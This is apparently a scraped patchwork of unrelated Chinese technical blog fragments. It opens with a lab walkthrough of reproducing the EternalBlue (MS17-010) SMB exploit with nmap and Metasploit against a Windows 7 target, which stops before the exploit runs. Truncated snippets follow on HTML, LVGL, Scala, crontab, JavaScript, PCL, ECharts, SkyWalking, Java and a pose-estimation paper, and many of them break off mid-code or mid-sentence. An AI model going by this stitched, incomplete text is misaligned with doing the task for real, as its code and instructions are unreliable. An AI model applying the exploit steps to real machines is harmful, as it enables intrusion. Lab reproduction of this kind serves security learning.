文章目录 一、漏洞简介1、永恒之蓝介绍:2、漏洞原理:3、影响版本: 二、漏洞复现复现环境:复现过程:1、主机发现:2、使用MSF的永恒之蓝漏洞模块3、使用ms17-010扫描模块,对靶机进行扫描:4、使用ms17-010攻击模块,对靶机进行攻击5、得到靶机shell6、通过shell对靶机进行控制 一、漏洞简介 1、永恒之蓝介绍: 永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的漏洞 “EternalBlue”(永恒之蓝)进行改造而成 。勒索病毒的肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。据统计,全球100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。
2、漏洞原理: 永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。
3、影响版本: 目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
二、漏洞复现 复现环境: 攻击机:Linux kali(IP:192.168.50.130)
靶机:Windows 7 Enterprise with Service Pack 1 (x64)(IP:192.168.50.132)
实验条件:两台机子可以相互ping通,并且靶机(无补丁)开启了445端口,防火墙是关闭的!
复现过程: 1、主机发现: 登录 kali linux,用 nmap 探测本网段存活主机
nmap 192.168.50.0/24 可以看到,靶机的445端口是开放的,而永恒之蓝利用的就是445端口的SMB服务,操作系统溢出漏洞。
2、使用MSF的永恒之蓝漏洞模块 打开MSF:msfconsole
MSF每次打开都会有一个随机的界面,花里胡哨的,不过我喜欢 ~( ̄▽ ̄)~
搜索 ms17-010 代码:search ms17_010
这里可以得到一些工具,其中
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <style> * { margin: 0; padding: 0; } .nav { margin: 50px auto; width: 640px; height: 50px; background-color: #ffc0cb; } ul { list-style: none; } .nav li { float: left; } .nav li a { /* 1. 浮动 / display */ /* display: inline-block; */ display: block; /* 2. 盒子模型 */ width: 80px; height: 50px; /* background-color: green; */ /* 3.
点击上方“嵌入式应用研究院”,选择“置顶/星标公众号”
干货福利,第一时间送达!
来源 | 嵌入式应用研究院
整理&排版 | 嵌入式应用研究院
一款带LCD的嵌入式电子产品,如果是面向出口贸易,那么多国语言的显示功能必不可少。那么如何使用LVGL来实现多语言功能呢?先来实现一个简单的语言功能切换demo:当不断点击一个按钮,即将一个文本以不同语言进行显示。
1、下载TTF或者WOFF字体 这里我下的是思源黑体Normal版本:SourceHanSansCN-Normal-2.otf 如果想要找其它的一些字体,去Adobe开源字体 github 上下载就行了,地址:
https://github.com/adobe-fonts 2、使用 LVGL 官方的字体转换工具进行转换 使用官网网页版本的转换工具,地址如下:
https://lvgl.io/tools/fontconverter 例如我想显示:你好中国
中文:你好中国
日文:こんにちは中国
英文:Hello China
德文:Hallo China
俄文:Привет Китай
因为我只是想要显示个别国家的文本,故不需要整个字库文件,而只是从字库文件里取出我想要的那部分即可,那么这时候我们就将翻译好的文本填写到Symbols区域即可,设置完对应的参数以后,点击Convert即可生成对应的字体数组文件并通过网页端进行下载,下载完成打开文件显示如下:(温馨提示,字库文件最好选择等宽字库文件,这样就可以兼容其它特殊的字体,例如韩语等)
3、将生成的字体文件拷贝到 lvgl 字体对应的目录下 然后添加到 lv_font.mk 中:
4、编写代码逻辑 点击按钮,将"你好中国"以中文、日文、德文、俄文分别进行显示。
#include "lvgl/lvgl.h" #include "lvgl/demos/lv_demos.h" #include "lv_drivers/display/fbdev.h" #include "lv_drivers/indev/evdev.h" #include <unistd.h> #include <pthread.h> #include <time.h> #include <sys/time.h> #define DISP_BUF_SIZE (128 * 1024) lv_obj_t *btn ; lv_obj_t *label; static void event_handler(lv_event_t * e) { static uint8_t status = 0 ; lv_event_code_t code = lv_event_get_code(e); if(code == LV_EVENT_CLICKED) { switch(status) { case 0: lv_label_set_text(label,"
1. Mac 安装 homebrew
参考:Mac os 解决brew找不到问题_简单同学的博客-CSDN博客
2. 安装 Scala
可以从 Scala 官网地址 Install | The Scala Programming Language 下载 Scala 二进制包,本教程我们将下载 2.13.0版本,如下图所示:
然后将下载的安装包解压,放到/usr/local目录下,打开.bash_profile,添加如下变量:
source .bash_profile 后输入scala - version打印出如下信息安装成功:
3. 安装sbt
brew install sbt
在终端输入sbt,进入sbt命令行,输入sbtVersion,可以打印版本号。sbt 的作用是进行项目管理,将项目中的文件放在特定的目录结构中。这个目录结构要自己通过mkdir生成(不知道sbt有没有命令可以生成,如果没有的话,自己可以写一个脚本)
├── src
│ ├── main
│ │ ├── java
│ │ ├── resources
│ │ └── scala
│ ├── test
│ │ ├── java
│ │ ├── resources
│ │ └── scala
├── build.
目录
任务定时调度定义:
1、crontab:
2、ps -ef:
3、at:
任务定时调度定义: 在Linux系统中,后台会执行一个crond程序,这个程序可以通过设定时间来让系统定时调用某个命令、脚本。任务调度可以是系统中一些重要任务的调用,也可以是用户自己设定的一些定时任务的调用。
1、crontab: 这个指令用于设定定时任务。它的基本语法是:
crontab [选项]
常用选项有:
-r:删除当前用户所有定时任务
-e:编辑增加用户的定时任务
-l:查询定时任务
在设定定时任务的时间时,我们通过设定这五个星:* * * * *
第一个星表示:一个小时里面的哪一分钟(0~59)第二个星表示:一天中哪一个小时(0~23)第三个星表示;一个月中哪一天(1~31)第四个星表示:一年中第哪个月(1~12)第五个星表示:一周中星期几(0(7)~6) 不需要修改的地方保留星号,修改的方式有以下几种:
* -- 这个默认符号表示当前的每个单位时间都执行,例如第五个位是星就表示一周内每天都执行一次、第二个位是星表示一天内每个小时都执行一遍。
x-y -- 这个符号表示从x-y的时间内连续执行。例如 * 23 * 2-8 * 表示一年中第2个月到第8个月每个月的23时都执行一遍。
x , y.. -- 这个符号表示在x,y...的间断时间内执行一遍。例如 * 8, 11 , 15 * * * 表示一天中8点、11点、15点执行一遍。
*\x -- 这个符号表示每个x单位时间就会执行一遍任务。例如 * * * *\5 *表示每隔5个月执行一遍
2、ps -ef: 这个指令是用于查看当前正在运行的所有进程,它的用法就是直接输入命令:
ps -ef
即可。要是我们想要查看某一个特定的进程,我们可以利用管道加grep指令。例如查看atd进程:
ps -ef | grep atd 3、at: 相对于crontab指令的反复调度,我们还需一种调用只执行一次的方式。所以我们引入了at指令。at指令有一个相对应的atd后台程序。这个程序的存在可以理解为就是对我们设置的任务(作业)的管理程序。它每60s就会对作业进行一次扫描,查看哪些作业需要执行,如果有作业执行了就会被移出去,然后反复扫描。这里要想配置定时任务,需要我们确保atd程序已经开启,所有我们一般先查看有无开启atd程序再去设置命令。
有时候我们在定义数据库字段的时候,需要加一些前缀说明字段的类型,如S_NAME、L_OBJID、N_ID等,在使用mybatis-generator生成实体成员的时候默认会生成sName,lObjid。但是是实际上s或者l在实体中没有意义,我们需要去掉这些前缀。
研究mybatis-generator源码的时候,发现在生成实体成员名称的地方其实可以使用正则表达式自定义名称:
这个配置在generatorConfig.xml添加即可,通过正则表达式替换前缀。
<table tableName="T_MYBATIS" enableCountByExample="true" enableUpdateByExample="true" enableDeleteByExample="true" enableSelectByExample="true" selectByExampleQueryId="true"> <columnRenamingRule searchString="^[A-Z]_" replaceString=""></columnRenamingRule> </table>
JavaScript&Typescript总结 一、JavaScript总结1、作用域1.1 全局作用域和局部作用域1.2 变量的作用域1.3 作用域链1.4 预解析(重点)1.5 预解析案例 2、对象(重点)2.1 对象的理解2.2 对象的作用2.3 创建对象的三种方式1、利用``字面量``创建对象2、利用``new Object``创建对象3、利用``构造函数``创建对象 3、案例分析3.1 倒计时案例3.2 数组排序3.3 数组去重(重点)3.4 返回字符位置3.5 返回字符位置 二、Typescript总结 一、JavaScript总结 1、作用域 1.1 全局作用域和局部作用域 1.2 变量的作用域 1.3 作用域链 秘诀: 站在目标出发,一层一层地往外找。谁离我近,我就去找谁。
案例分析1:
案例分析2:
显示结果:
1.4 预解析(重点) 预解析分为:变量预解析和函数预解析
1.变量预解析:把变量声明提升到最前面,赋值操作不提升。
2.函数预解析:把函数声明提到最前面,但不调用函数。
实例理解:
变量预解析: 函数预解析: 1.5 预解析案例 案例一:
案例二:
案例三:
案例四:(重点!!敲黑板!!!)
2、对象(重点) 2.1 对象的理解 1)现实生活中
2)JavaScript中:
2.2 对象的作用 2.3 创建对象的三种方式 1、利用字面量创建对象 2、利用new Object创建对象 3、利用构造函数创建对象 3、案例分析 3.1 倒计时案例 1、核心算法:输入的时间减去现在的时间就是剩余的时间,即倒计时 ,但是不能拿着时分秒相减,比如 05 分减去25分,结果会是负数的。
2、用时间戳来做。用户输入时间总的毫秒数减去现在时间的总的毫秒数,得到的就是剩余时间的毫秒数。
3、把剩余时间总的毫秒数转换为天、时、分、秒 (时间戳转换为时分秒)
HTML和CSS总结 HTML总结1、简介2、实操2.1 整体架构2.2 标题体验2.3 图片路径 CSS总结1、简介2、实操2.1 初步体验2.2 盒子模型2.3 float浮动 参考链接 HTML总结 1、简介 HTML是超文本编辑语言,而非编程语言,创建的HTML文件可以很直观的渲染到浏览器上展现出来。我们经常说的web主要有三方面构成:结构、表现和行为,实际上就分别对应我们所学的前端三剑客:结构写入HTML文件中,表现写到CSS文件中,行为写到JavaScript文件中。
2、实操 2.1 整体架构 通常,我们打开一个html文件,首先输入英文感叹号‘!’,就会出现如下整体框架:
2.2 标题体验 HTML提供了从大到小六级标题:
<h1>This is heading 1</h1> <p>This is some text.</p> <hr> <h2>This is heading 2</h2> <p>This is some other text.</p> <hr> 效果如下:
2.3 图片路径 图片路径主要是注意src属性和alt属性的用法,以及图片文件路径的绝对路径和相对路径问题,最好放在项目文件里面的路径是最好的,而非通过本机D盘等路径,换台电脑可能就无法显示了。
效果如下:
换一个路径:
显示效果依旧如此:
CSS总结 1、简介 CSS就是一个在一个仅有骨架的HTML上起到一个美化的功能,让我们HTML页面变得更加好看。
2、实操 2.1 初步体验 没有CSS时的网页是平平无奇的,如下:
当添加了CSS之后,并且在指定路径下添加,具体操作为:
最后的效果展示,那不得了了,神奇的事情发生了:
具体代码:
HTML代码:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>HTML5</title> <link rel="stylesheet" href="./css/html5.css"> </head> <body> <header> <h1>头部</h1> <h2>子标题</h2> <h4>震撼HTML5</h4> </header> <div id="
二、PCL安装踩坑总结(Ubuntu 16.4+PCL1.8.1+VTK7.1+Qt5.9.9) 问题解决暂未更完、、、
文章目录 二、PCL安装踩坑总结(Ubuntu 16.4+PCL1.8.1+VTK7.1+Qt5.9.9)一、写在前面二、安装过程1.VTK放在依赖项中安装2.官网下载合适的VTK版本,单独编译3.PCL及VTK卸载4.测试 三、遇到的问题及解决1.问题1及其解决:Makefile:149: recipe for target ‘all’ failed2.问题2及其解决:fatal error: pcl/visualization/pcl_visualizer.h3.问题3及其解决:安装VTK时CMAKE中找不到Qt5路径4.问题4及其解决:ubuntu16.04下qt4切换程qt5(由问题三引出,顺便解决)5.问题5及其解决:/usr/lib/../lib64/libSM.so: undefined reference to 'uuid_unparse_lower@UUID_1.0' /usr/lib/../lib64/libSM.so: undefined reference to 'uuid_generate@UUID_1.0' 毕设相关,装一下PCL库。听说官网推荐的安装方法不很稳定,以及看到【最简易的PCL安装方法(ubuntu16.04系统)】,想都没想,别人我不知道能不能一次成功,我肯定是不得行的(果然装了无数遍),老老实实编译源码。
一、写在前面 安装经历:
台式机(有anaconda环境,许多依赖文件和库与PCL中冲突,比较难搞)、笔记本。
都是Ubuntu 16.4+PCL1.8.1+VTK7.1+Qt5.9.9。 #官网推荐安装方法 sudo add-apt-repository ppa:v-launchpad-jochen-sprickerhof-de/pcl sudo apt-get update sudo apt-get install libpcl-all 每次装什么软件我都抱着殊死一搏的勇气(因为总能把各种问题集结个遍、、手动狗头)。搜了一些教程贴,感觉,也很easy嘛,也就安装的依赖项多了些、时间长了些、、naive!!too naive!!!
先总结: | 成功栗子 | PCL1.8.1+VTK7.1.1+Qt5.9.9 | |
|-------|:—😐-----------|-------😐
|失败栗子 |PCL1.11.1+VTK5.10.1+Qt4.8.2 | PCL1.11.1+VTK6.2.0+Qt5.9.9 |
| PCL1.11.1+VTK8.2.1+Qt5.9.9 | PCL1.11.1+VTK7.1.1+Qt4.8.2 |PCL1.8.1+VTK6.2.1+Qt5.9.9 |
期间试错无数,以为少了某些依赖,其实就是PCL和VTK的版本没对上,强推一波在笔记本上最终安装的成功教程《Ubuntu16上安装PCL》。
【师兄说1.9以上版本可能不太稳定,考虑到课题组内部工作的衔接方便,就从1.11.1改成了1.8.1版本。想装什么版本根据自己需要随意哈~】
正确搭配PCL-1.7.2 + VTK-5.10.1 / VTK-6.2.0PCL-1.8.1 + VTK-7.
大家好✨,这里是bio🦖。先赞后看养成习惯,还没关注的小伙伴点点关注不迷路。
今天下载blast的时候打算用wget命令下载,但是下载页面的URL包含所有版本的blast,不敢以身试险。所有打算在将Windows系统的文件传入wsl子系统中。
我首先使用pwd查看我的路径,发现路径在Windows中不存在。
pwd /home/bio_kang 所以排除这种想法。
具体操作如下:
cd /mnt转到 /mnt 目录下,你可以看到自己的盘信息。 找到你想转到wsl子系统下的文件。例如我想将下载的blast文件转到子系统下。我需要的文件在以下路劲下
/mnt/c/Users/86184/Downloads
选择复制或者移动你的文件到指定目录下,可以使用cp也可以使用mv,这里使用的是mv。
mv /mnt/c/Users/86184/Downloads/ncbi-blast-2.13.0+-x64-arm-linux.tar.gz /home/bio_kang/software/
省
市级
点击下钻区/县
具体代码如下:
关于省区市的json数据文件可自行下载这里
我这里只写了两级下钻,如果需要省市区,同理下载对应的json文件,初始化时候的json放最高级
如我这里合肥最高级 this.$echarts.registerMap(‘hefei’, mapname)
这里有个坑,echarts.registerMap必须在初始化init之前,因为echarts原型对象中才有,init后的对象中是没有的。否则会报错 echarts.registerMap is not a function
下载下来的json数据放在一个文件中
<template> <div id="chart-panel"> <div id="mapBox"></div> </div> </template> <script> import * as echarts from "echarts"; import 'echarts/map/js/china' import 'echarts-gl'; import $ from "jquery" var anhui = require("../plugins/anhui/anhui.json") var hefei = require("../plugins/anhui/hefei.json") var anqin = require("../plugins/anhui/anqin.json") var bengbu = require("../plugins/anhui/bengbu.json") var bozhou = require("../plugins/anhui/bozhou.json") var chizhou = require("../plugins/anhui/chizhou.json") var chuzhou = require("../plugins/anhui/chuzhou.json") var fuyang = require("
使用naive-ui按需引入时经常单页面引入过多组件,并且有时漏掉一个引入,也不回报错,排查起来很麻烦,就改成了官方的自动引入方法:
使用一段时间后发现不对劲,怎么naive最爽的ts定义怎么崩了,所有的组件类型都改成any了:
在网上找相关内容也没有类似解决方案,心情瞬间不爽了
最终自己摸索,完美解决:
解决方案 在查找定义类型时,发现有两处类型定义:
目录均为naive包下的volar定义,因为一个any定义导致全局的组件定义均覆盖成了any,删除这个定义就可以恢复,但是这个毕竟是node_modules包内的文件,删掉治标不治本,于是打算从ts配置入手。
使用自动引入后,会自动编译一个components.d.ts的定义文件,打开后发现就是组件的全局定义,就此大胆猜测,只要将ts的定义文件从naive包获取转为从这个文件获取,应该就能解决。
翻看一下当前的tsconfig.json配置文件:
很明显的看到这个定义原来是因为配置了volar.d.ts的type导致,翻看官方文档发现是为了volar支持:
这里将volar删掉,并且在include项中添加根目录的定义文件适配:
{ "compilerOptions": { "types": ["node"] }, "include": ["./*.d.ts"] } 这里只写了修改的地方,“./*.d.ts”用来读取根目录下的所有.d.ts定义文件,完整示例如下:
如此引入后,ts的定义就正常了:
具体不知道是什么原因导致,发现也有人有类似的情况,已提交 issues
附上相关项目github地址:vue3-ts-admin-demo
近期在写的一个vue3+naive-ui管理端模板👍
能够理解服务监控三要素能够理解常用的APM系统优势差异能够基于IDEA集成Skywalking Agent能基于生产环境使用Skywalking Agent掌握Rocketbot 性能分析链路追踪仪表盘应用Webhook 1 Skywalking概述 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OMcz0dVR-1655276879422)(images\1611484162173.png)]
随着互联网架构的扩张,分布式系统变得日趋复杂,越来越多的组件开始走向分布式化,如微服务、消息收发、分布式数据库、分布式缓存、分布式对象存储、跨域调用,这些组件共同构成了繁杂的分布式网络。
我们思考下这些问题:
1:一个请求经过了这些服务后其中出现了一个调用失败的问题,如何定位问题发生的地方? 2:如何计算每个节点访问流量? 3:流量波动的时候,增加哪些节点集群服务? 这些问题要想得到解决,一定是有数据支撑,绝不是靠开发人员或者运维人员的直觉。为了解决分布式应用、微服务系统面临的这些挑战,APM系统营运而生。
1.1 微服务系统监控三要素 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-adgsNZ9y-1655276879423)(images\1611485782340.png)]
Logging 就是记录系统行为的离散事件,例如,服务在处理某个请求时打印的错误日志,我们可以将这些日志信息记录到 ElasticSearch 或是其他存储中,然后通过 Kibana 或是其他工具来分析这些日志了解服务的行为和状态。大多数情况下,日志记录的数据很分散,并且相互独立,比如错误日志、请求处理过程中关键步骤的日志等等。Metrics 是系统在一段时间内某一方面的某个度量,可聚合的数据,且通常是固定类型的时序数据,例如,电商系统在一分钟内的请求次数。我们常见的监控系统中记录的数据都属于这个范畴,例如 Promethus、Open-Falcon 等,这些监控系统最终给运维人员展示的是一张张二维的折线图。Metrics 是可以聚合的,例如,为电商系统中每个 HTTP 接口添加一个计数器,计算每个接口的 QPS,之后我们就可以通过简单的加和计算得到系统的总负载情况。Tracing 即我们常说的分布式链路追踪,记录单个请求的处理流程,其中包括服务调用和处理时长等信息。在微服务架构系统中一个请求会经过很多服务处理,调用链路会非常长,要确定中间哪个服务出现异常是非常麻烦的一件事。通过分布式链路追踪,运维人员就可以构建一个请求的视图,这个视图上展示了一个请求从进入系统开始到返回响应的整个流程。这样,就可以从中了解到所有服务的异常情况、网络调用,以及系统的性能瓶颈等。 1.2 什么是链路追踪 谷歌在 2010 年 4 月发表了一篇论文《Dapper, a Large-Scale Distributed Systems Tracing Infrastructure》介绍了分布式追踪的概念,之后很多互联网公司都开始根据这篇论文打造自己的分布式链路追踪系统。APM 系统的核心技术就是分布式链路追踪。
论文在线地址:https://storage.googleapis.com/pub-tools-public-publication-data/pdf/36356.pdf,
国内的翻译版:https://bigbully.github.io/Dapper-translation/
在此文中阐述了Google在生产环境下对于分布式链路追踪系统Drapper的设计思路与使用经验。随后各大厂商基于这篇论文都开始自研自家的分布式链路追踪产品。如阿里的Eagle eye(鹰眼)、zipkin,京东的“Hydra”、大众点评的“CAT”、新浪的“Watchman”、唯品会的“Microscope”、窝窝网的“Tracing”都是基于这片文章的设计思路而实现的。所以要学习分布式链路追踪,对于Dapper论文的理解至关重要。
但是也带来了新的问题:各家的分布式追踪方案是互不兼容的,这才诞生了 OpenTracing。
OpenTracing 是一个 Library,定义了一套通用的数据上报接口,要求各个分布式追踪系统都来实现这套接口。这样一来,应用程序只需要对接 OpenTracing,而无需关心后端采用的到底什么分布式追踪系统,因此开发者可以无缝切换分布式追踪系统,也使得在通用代码库增加对分布式追踪的支持成为可能。
OpenTracing 于 2016 年 10 月加入 CNCF 基金会,是继 Kubernetes 和 Prometheus 之后,第三个加入CNCF 的开源项目。它是一个中立的(厂商无关、平台无关)分布式追踪的 API 规范,提供统一接口,可方便开发者在自己的服务中集成一种或多种分布式追踪的实现。
缺少主程序,新建一个主程序即可。
安装 npm install watermark-dom 使用 在utils新建waterMark.js,在文件里引用
import waterMark from '@/utils/waterMark' export default { mixins: [waterMark], } waterMark.js import watermark from 'watermark-dom' export default { name: 'watermark', data () { return { waterMarkDom: 'watermark' } }, mounted () { window.initWaterMark = this.initWaterMark this.initWaterMark() }, methods: { initWaterMark () { watermark.init({ watermark_txt: 'xxxx水印', // 水印的内容 watermark_angle: 20, // 水印倾斜度数 watermark_x: 0, // 水印起始位置x轴坐标 watermark_y: 0, // 水印起始位置Y轴坐标 watermark_width: 160, // 水印宽度 watermark_height: 80, // 水印长度 watermark_x_space: 0, // 水印x轴间隔 watermark_y_space: 0, // 水印y轴间隔 watermark_rows:0, // 水印行数 watermark_cols: 4, // 水印列数 watermark_alpha: 0.
1、String 与 int 之间的转换
(1)String 转 int:推荐第一种,只生成一个对象;第二种会生成两个对象
第一种方法:i=Integer.parseInt(s); 第二种方法:i=Integer.valueOf(s).intValue(); (2)int 转 String: 推荐第二种,只生成一个对象;第一种会生成两个对象
第一种方法:s=i+""; 第二种方法:s=String.valueOf(i); 2、String 与 Double 之间的转换
(1)String 转 Double:
string s="11"; double d=Double.valueOf(s);//转换为Double对象类型 double d=Double.parseDouble(s);//转换为double (2)double 转 String
double d=11; String s=String.valueOf(d);//方式一: String s=""+d;//方式二 String s=new Double(d).toString();//方式三
程序员需要明白的指标 低侵入性:
参考链接:https://www.jianshu.com/p/a8189661ee14
框架的侵入性是衡量框架好坏的重要指标低侵入指的是框架代码很少耦合在业务代码中低侵入意味着,当我们要替换一个框架的时候,对原有的业务代码改动会很少。如果一个框架是高度侵入的,代码高度侵入到业务代码中,那替换成另一个框架的成本将非常高,甚至几乎不可能。这也是一些长期维护的老项目,使用的框架、技术比较老旧,又无法更新的一个很重要的原因。IOC:在不需要 Bean 继承任何父类或者实现任何接口的情况下,仅仅通过配置,就能将它们纳入进 Spring 的管理中。如果我们换一个 IOC 容器,也只是重新配置一下就可以了,原有的 Bean 都不需要任何修改。AOP:在项目中,对于非业务功能,比如请求日志、数据采点、安全校验、事务等等,我们没必要将它们侵入进业务代码中。因为一旦侵入,这些代码将分散在各个业务代码中,删除、修改的成本就变得很高。而基于 AOP 这种开发模式,将非业务代码集中放到切面中,删除、修改的成本就变得很低了。
约定优于配置,
低侵入、
松耦合,
模块化、
轻量级,
再封装、
再抽象。
单位:海康威视,西安交大
pdf:openaccess.thecvf.com/content/CVPR2022
Github:https://github.com/hikvision-research/opera
导读:
流行的人体估计算法主要有两种分类:自下而上(先检测关节点,再把关节点关联合成人体)或自上而下(先检测人体再估计他的关节点)。继YOLO框架(实时的流行的目标检测器)内含端到端地检测Pose后,Transformer框架也能端到端地实现姿态估计。那么,人体或关节点是如何在该框架下被定位呢?Look look吧。
目录 摘要一、介绍二、方法2.1 架构概览2.2 视觉特征编码器2.3 姿态编码器2.4 关节点编码器2.5 损失函数 三、实验总结 摘要 当前多人姿态估计的方法通常分开处理定位和关节点关联。本篇提出了第一个完全端到端的基于TRansformer的人体姿态(Pose Estimation)估计架构,即PETR。该方法将姿态估计看成一个分层的集合预测问题,有效去掉很多手工设计的模块,如RoI裁剪,NMS和分组后处理等。它学习了多姿态查询去直接推测一组整体姿态。然后一个关节点检测器用于进一步细化这个姿态,通过探索人体关节点之间的运动学关系。通过注意力机制,该方法能够自适应地关注与目标点最相关的特征,这将很大程度上克服特征错位问题,并显著提升了性能。在MS COCO和CrowdPose基准上大量实验,验证了该方法的先进性。
一、介绍 图1a所示是自上而下方法的范式,其缺陷有:姿态估计的性能严重依赖人体检测器的性能,特别在复杂场景下;其次,由于使用了两个隔离的检测器,运算量大,并且其与分割的人体实例的数量线性增加。对于自下而上的方法,如图1b所示。在关节点关联阶段通常采用启发式的,手工的后处理等复杂操作。
当前,有不少单阶段的方法实现姿态估计。如SPM提出了一种结构画的姿态表征,将人体实例和关节点位置的表征统一。FCPose和InsPose使用动态的实例感知的全卷积网络。这些方法通常需要裁剪感兴趣区域,后处理去分组关键点,在性能和速度速度上取得了较好的平衡。但是,他们依赖热力图、分数图和手工的NMS(非最大抑制)后处理上的“峰值”,这仍然没有端到端的优化。
启发于目标检测中的范式,我们提出了一种全端到端Transformer的框架,通过将人体姿态估计归纳成一个分层的集合预测问题,将人体实例和细颗粒度的人体关节点位置统一起来。在给出多随机初始化的姿态询问后,一个姿态decoder学习推测目标的关系,并在全局图像上下文中估计一组实例感知的姿态。然后,一组关节点decoder被设计去探索在不同关节点之间的结构化关系和进一步优化整个身体的姿态。
PETR超过了当前单阶段和自下而上的所有方法,并与自上而下的方法也有可比性。此外,PETR在密集场景下也表现良好,在CrowdPose上建立以领先的优势。
二、方法 The overall architecture of PETR. C3 to C5 are multi-scale feature maps extracted from the backbone network (e.g., ResNet50). The visual feature encoder takes the flattened image features as inputs and refines them. Given N pose queries and the refined multi-scale feature tokens, pose decoder predicts N full-body poses in parallel.
区别:MVC表示“模型-视图-控制器”,MVP表示“模型-视图-演示者”,MVVM表示“模型-视图-视图模型”;MVP、MVVM都是由MVC衍生出的。MVC中,View会直接从Model中读取数据;MVP中,View并不直接使用Model。
再次重复一下:
MVC、MVP和MVVM是三种流行的设计模式。其中,MVC表示模型-视图-控制器,MVP表示模型-视图-演示者,MVVM表示模型-视图-视图模型;MVP, MVVM都是由MVC衍生出。所有这些设计模式大体上都有助于开发松散组合、易于测试和维护的应用程序。
一、MVC(Model-View-Controller) MVC是非常直观的架构模式,最初衍生于服务器端的Web开发,后来渐渐能够胜任客户端Web开发,能够满足其复杂性和丰富性。
MVC模式将应用程序划分为三个部分: ● Model: 模型(用于封装与应用程序的业务逻辑相关的数据以及对数据的处理方法)
● View: 视图(渲染页面)
● Controller: 控制器(M和V之间的连接器,用于控制应用程序的流程,及页面的业务逻辑)
MVC特点: MVC模式的特点在于实现关注点分离,即应用程序中的数据模型与业务和展示逻辑解耦。在客户端web开发中,就是将模型(M-数据、操作数据)、视图(V-显示数据的HTML元素)之间实现代码分离,松散耦合,使之成为一个更容易开发、维护和测试的客户端应用程序。
用户操作->View(负责接收用户的输入操作)->Controller(业务逻辑处理)->Model(数据持久化)->View(将结果反馈给View):
1、View 传送指令到 Controller ;
2、Controller 完成业务逻辑后,要求 Model 改变状态 ;
3、Model 将新的数据发送到 View,用户得到反馈。
二、MVP(Model-View-Presenter) MVP是把MVC中的Controller换成了Presenter(呈现),目的就是为了完全切断View跟Model之间的联系,由Presenter充当桥梁,做到View-Model之间通信的完全隔离方向。
MVP特点: ● M、V、P之间双向通信。
● View 与 Model之间不通信,都通过 Presenter 传递。Presenter完全把Model和View进行了分离,主要的程序逻辑在Presenter里实现。
● View 非常薄,不部署任何业务逻辑,称为”被动视图”(Passive View),即没有任何主动性,而 Presenter非常厚,所有逻辑都部署在那里。
● Presenter与具体的View是没有直接关联的,而是通过定义好的接口进行交互,从而使得在变更View时候可以保持Presenter的不变,这样就可以重用。不仅如此,还可以编写测试用的View,模拟用户的各种操作,从而实现对Presenter的测试–从而不需要使用自动化的测试工具。
三、MVVM(Model-View-ViewModel) MVVM 模式将 Presenter 改名为 ViewModel,基本上与 MVP 模式完全一致。如果说MVP是对MVC的进一步改进,那么MVVM则是思想的完全变革。它是将“数据模型数据双向绑定”的思想作为核心,因此在View和Model之间没有联系,通过ViewModel进行交互,而且Model和ViewModel之间的交互是双向的,因此视图的数据的变化会同时修改数据源,而数据源数据的变化也会立即反应到View上。
区别说明: MVC中View会直接从Model中读取数据而不是通过 Controller;View和 Controller之间存在多对一关系。
MVP中View并不直接使用Model,它们之间的通信是通过Presenter (MVC中的Controller)来进行的,所有的交互都发生在Presenter内部;View和Presenter之间是一对一关系。
MVVM 模式基本上与 MVP 模式完全一致,唯一的区别是:MVVM采用双向绑定(data-binding):View的变动,自动反映在 ViewModel,反之亦然。
1、如果数据null或者""则替换为new_str
public static String getNotNullStringValue(Object str, String new_str) { if (isEmpty(str)) { return new_str; } return str.toString(); } 2、判断整形数据null替换new_str
public static int getNotNullIntValue(Object str, int new_str) { if (isEmpty(str)) { return new_str; } int n_str = 0; try { n_str = Integer.parseInt(str.toString()); } catch (NumberFormatException e) { n_str = new_str; } return n_str; } 3、缩略字符串(不区分中英文字符)
public static String abbr(String str, int length) { if (isEmpty(str)) { return ""; } try { StringBuilder sb = new StringBuilder(); int currentLength = 0; for (char c : str.
快递100第三方插件:快递查询跳转API接口 - 快递100
想在自己的小程序上 使用快递查询
接入指引 1. 插件申请接入
首先要在小程序管理后台的“设置-第三方设置-插件管理”中添加插件。开发者可登录小程序管理后台,通过 appid【wx6885acbedba59c14】 查找插件并添加。等待插件开发者通过后,方可在小程序中使用相应的插件。
小程序接入快递100技术文档 方式一:小程序插件接入
小程序插件接入文档:快递100-快递查询(免费接入) | 微信服务市场
uni-app接入指引 引入插件代码包
使用插件之前开发者需要在manifest.json中的各平台对应的字段内声明使用的插件,具体配置参照所用插件的开发文档
代码示例
"mp-weixin": { ........... "plugins": { "kdPlugin": { "version": "1.1.2", "provider": "wx6885acbedba59c14" } } } 插件调用示例:
uni.navigateTo({ url: "plugin://kdPlugin/index?num=xxx&appName=xxx", }) 点击结果
后端是用node的,后续也回继续更新文章,如果大佬们做过不妨分享下 快递100官网: 快递100API开放平台_快递100快递单号查询API接口_快递100API_快递电子面单接口_寄快递接口
Test类 package anli5_5; //计算二月份天数 import java.time.LocalDate; import java.util.Scanner; public class Test { public static void main(String[] args) { Scanner sc=new Scanner(System.in); System.out.println("请输入要查询的年份"); int year= sc.nextInt(); LocalDate ld =LocalDate.of(year,3,1); LocalDate ld2= ld.plusDays(-1); System.out.println(year+"年的二月份有:"+ld2.getDayOfMonth()+"天"); } } 结果展示
